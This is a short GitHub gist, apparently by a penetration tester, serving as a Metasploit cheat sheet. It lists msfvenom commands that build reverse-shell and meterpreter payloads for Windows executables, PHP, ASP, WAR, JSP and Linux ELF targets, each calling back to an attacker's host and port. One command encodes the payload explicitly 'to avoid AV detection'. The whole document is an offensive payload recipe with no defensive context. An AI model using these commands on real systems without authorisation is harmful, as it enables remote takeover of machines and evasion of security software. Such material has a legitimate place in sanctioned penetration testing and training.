Skip to content

Instantly share code, notes, and snippets.

@thevillagehacker
Created February 26, 2021 08:48
Show Gist options
  • Save thevillagehacker/3e6922d22645733f2dd0b395192a2a04 to your computer and use it in GitHub Desktop.
Save thevillagehacker/3e6922d22645733f2dd0b395192a2a04 to your computer and use it in GitHub Desktop.
Metasploit cheatsheet

Metasploit Revershell CheatSheet

Msfvenom: 
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -o shell_reverse.exe

To avoid AV detection, use encryption

msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=<your ip> LPORT=<your port> -f raw > shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<your port> -f asp > shell.asp

War

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f war > shell.war

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f raw > shell.jsp

Binary

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f elf > shell.elf

List linux meterpreter payloads

msfvenom --list | grep xxxx

Send linux shell to meterpreter

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost= lport= -f elf -o msf.bin (set multi handler then)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment